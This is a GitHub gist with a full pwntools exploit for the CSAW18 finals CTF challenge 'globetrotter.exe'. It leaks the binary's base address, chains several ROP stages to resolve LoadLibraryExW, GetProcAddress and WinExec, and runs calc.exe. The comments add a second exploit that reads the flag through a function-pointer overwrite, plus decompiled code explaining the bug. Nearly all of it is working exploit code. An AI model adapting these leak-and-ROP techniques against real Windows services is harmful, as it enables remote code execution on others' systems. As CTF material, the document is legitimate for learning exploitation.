Created
November 10, 2018 16:40
-
-
Save andreafioraldi/8288119b23f12817d09de8440e29a3c3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
author: Andrea Fioraldi | |
team: TheRomanXpl0it | |
ctf: CSAW18 finals | |
''' | |
from pwn import * | |
#context.log_level = "debug" | |
p = remote("localhost" if len(sys.argv) == 1 else "1.chal.csaw.io", 4321) | |
#p = process("./globetrotter.exe") | |
def menu(c): | |
p.recvuntil("MENU SELECTION:") | |
p.sendline(str(c)) | |
def book1(name, num): | |
print "." | |
menu(1) | |
p.recvuntil(":") | |
p.sendline(name) | |
p.recvuntil(":") | |
p.sendline(str(num)) | |
p.recvuntil("MENU") | |
p.sendline() | |
def print_res(idx): | |
menu(3) | |
p.recvuntil(":") | |
p.sendline(str(idx)) | |
r = p.recvuntil("MENU") | |
p.sendline() | |
return r | |
def modify(idx, name=None, num=None): | |
menu(4) | |
p.recvuntil(":") | |
p.sendline(str(idx)) | |
p.recvuntil("(Y/N)?") | |
if num is None: | |
p.sendline("N") | |
else: | |
p.sendline("Y") | |
p.recvuntil(":") | |
p.sendline(str(num)) | |
if name is None: | |
p.sendline("N") | |
else: | |
p.sendline("Y") | |
p.recvuntil(":") | |
p.sendline(str(name)) | |
p.recvuntil("MENU") | |
p.sendline() | |
book1("a", 1) | |
book1("a", 2) | |
book1("a", 3) | |
book1("a", 4) | |
book1("a", 5) | |
book1("a", 6) | |
book1("a", 7) | |
book1("a", 8) | |
book1("a", 9) | |
book1("a", 10) | |
book1("a", 11) | |
book1("a", 12) | |
book1("a", 13) | |
book1("a", 14) | |
book1("a", 15) | |
book1("a"*64, 1337) | |
leak = print_res(15) | |
leak = u64(leak[leak.find("a"*64)+64:][:6]+"\x00"*2) | |
#print "leak 0x%x"%leak | |
base = leak - 0x1BC0 | |
print "base 0x%x"%base | |
kernel32_str = base + 156016 | |
winexec_str = base + 156080 | |
custom_print = base + 0x18E0 | |
recv_n_line = base + 0x1E40 | |
# stage 1 | |
rop = "" | |
rop += p64(base + 0x0000000000001f24) #: pop rax; ret; | |
rop += p64(kernel32_str) # | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += "k\x00e\x00r\x00n\x00" | |
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret; | |
rop += p64(base + 0x0000000000001f24) #: pop rax; ret; | |
rop += p64(kernel32_str + 8) # | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += "e\x00l\x003\x002\x00" | |
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret; | |
rop += p64(base + 0x0000000000001f24) #: pop rax; ret; | |
rop += p64(kernel32_str + 16) # | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += ".\x00d\x00l\x00l\x00" | |
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret; | |
rop += p64(base + 0x0000000000001f24) #: pop rax; ret; | |
rop += p64(winexec_str) # | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += "WinExec\x00" | |
rop += p64(base + 0x00000000000032fb) #: mov qword ptr [rax], rcx; ret; | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(base + 0x1B108 + (1 if len(sys.argv) > 1 else 0)) # #LoadLibraryExW idata | |
rop += p64(custom_print) # #custom_print | |
rop += p64(base + 0x2155) | |
p.recvuntil("MENU SELECTION:") | |
p.sendline("O"*32 + rop.ljust(224, "\x00")) | |
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret; | |
leak = print_res(15) | |
if len(sys.argv) > 1: | |
LoadLibraryExW = u64("\0" + leak[3:][:5]+"\0\0") | |
else: LoadLibraryExW = u64(leak[3:][:6]+"\0\0") | |
print "LoadLibraryExW 0x%x" % LoadLibraryExW | |
# stage 2 | |
rop = "" | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(base + 0x1B100) # #GetProcAddress idata | |
rop += p64(custom_print) # #custom_print | |
rop += p64(base + 0x2155) | |
p.recvuntil("MENU SELECTION:") | |
p.sendline("O"*32 + rop.ljust(224, "\x00")) | |
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret; | |
leak = print_res(15) | |
GetProcAddress = u64(leak[3:][:6]+"\0\0") | |
print "GetProcAddress 0x%x" % GetProcAddress | |
# stage 3 | |
rop = "" | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(kernel32_str) # #kernel32 str | |
rop += p64(base + 0x0000000000001316) #: pop rdx; ret; | |
rop += p64(0) # | |
rop += p64(base + 0x0000000000001f23) #: pop r8; ret; | |
rop += p64(0) # | |
rop += p64(LoadLibraryExW) | |
rop += p64(base + 0x0000000000001bb6) #add rsp, 0x28; ret; | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(base + 156736) # | |
rop += p64(base + 0x000000000000b376) #: mov qword ptr [rcx + 8], rax; ret; | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(base + 156736 +8 +2) # | |
rop += p64(custom_print) # #custom_print | |
rop += p64(base + 0x2155) | |
p.recvuntil("MENU SELECTION:") | |
p.sendline("O"*32 + rop.ljust(224, "\x00")) | |
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret; | |
leak = print_res(15) | |
kernel32 = u64("\0\0" + leak[3:][:4]+"\0\0") | |
print "kernel32 0x%x" % kernel32 | |
# stage 4 | |
rop = "" | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(kernel32) # | |
rop += p64(base + 0x0000000000001316) #: pop rdx; ret; | |
rop += p64(winexec_str) # #winexec str | |
rop += p64(GetProcAddress) | |
rop += p64(base + 0x0000000000001bb6) #add rsp, 0x28; ret; | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += "a"*8 | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(base + 156736) # | |
rop += p64(base + 0x000000000000b376) #: mov qword ptr [rcx + 8], rax; ret; | |
rop += p64(base + 0x00000000000010d7) #: pop rcx; ret; | |
rop += p64(base + 156736 +8) # | |
rop += p64(custom_print) # #custom_print | |
rop += p64(base + 0x2155) | |
p.recvuntil("MENU SELECTION:") | |
p.sendline("O"*32 + rop.ljust(224, "\x00")) | |
modify(15, "a"*64+p64(base + 0x00000000000012da)[:6]) #add rsp, 0xa0; pop rdi; ret; | |
leak = print_res(15) | |
WinExec = u64(leak[3:][:6]+"\0\0") | |
print "WinExec 0x%x" % WinExec | |
# profit | |
modify(15, "a"*64+p64(recv_n_line)[:6]) | |
menu(3) | |
p.recvuntil(":") | |
p.sendline(str(15)) | |
p.sendline("calc.exe") | |
p.recvuntil("MENU") | |
p.sendline() | |
modify(15, "a"*64+p64(WinExec)[:6]) | |
menu(3) | |
p.recvuntil(":") | |
p.sendline(str(15)) | |
p.interactive() |
ah fuck i got RCE when it was not needed
@gaasedelen I did not see the print_file function because it is never called. Now i understand the 200 points of the challenge.
Now with this information also your exploit is not the simplest.
With this one you can avoid ROP at all:
from pwn import *
p = remote("localhost" if len(sys.argv) == 1 else "1.chal.csaw.io", 4321)
#p = process("./globetrotter.exe")
def menu(c):
p.recvuntil("MENU SELECTION:")
p.sendline(str(c))
def book1(name, num):
print "."
menu(1)
p.recvuntil(":")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(num))
p.recvuntil("MENU")
p.sendline()
def print_res(idx):
menu(3)
p.recvuntil(":")
p.sendline(str(idx))
r = p.recvuntil("MENU")
p.sendline()
return r
def modify(idx, name=None, num=None):
menu(4)
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil("(Y/N)?")
if num is None:
p.sendline("N")
else:
p.sendline("Y")
p.recvuntil(":")
p.sendline(str(num))
if name is None:
p.sendline("N")
else:
p.sendline("Y")
p.recvuntil(":")
p.sendline(str(name))
p.recvuntil("MENU")
p.sendline()
book1("a", 1)
book1("a", 2)
book1("a", 3)
book1("a", 4)
book1("a", 5)
book1("a"*64, 1337)
leak = print_res(5)
leak = u64(leak[leak.find("a"*64)+64:][:6]+"\x00"*2)
base = leak - 0x1BC0
print "base 0x%x"%base
recv_n_line = base + 0x1E40
print_file = base + 0x1000
modify(5, "a"*64+p64(recv_n_line)[:6])
menu(3)
p.recvuntil(":")
p.sendline(str(5))
p.sendline("flag\x00")
p.recvuntil("MENU")
p.sendline()
modify(5, "a"*64+p64(print_file)[:6])
menu(3)
p.recvuntil(":")
p.sendline(str(5))
p.interactive()
The ticket num of the reservation can be used as size for a read:
__int64 print_revervation()
{
__int64 result; // rax
__int128 v1; // [rsp+20h] [rbp-28h]
*(&v1 + 1) = 0i64;
result = get_ticket_num(&v1 + 1);
if ( result )
result = (backer[*(&v1 + 1)]->vptr)(backer[*(&v1 + 1)], *(&v1 + 1)); // read_n_line(reservation, ticket_num)
return result;
}
So you can overwrite the active field of the reservation structure with a string and it is not a problem because the check in get_ticket_num is simply reservation.active != 0.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Nice work! The expected solution was much simpler :-)
https://gist.github.com/gaasedelen/5fdf2cf102ada748b398969258d02b99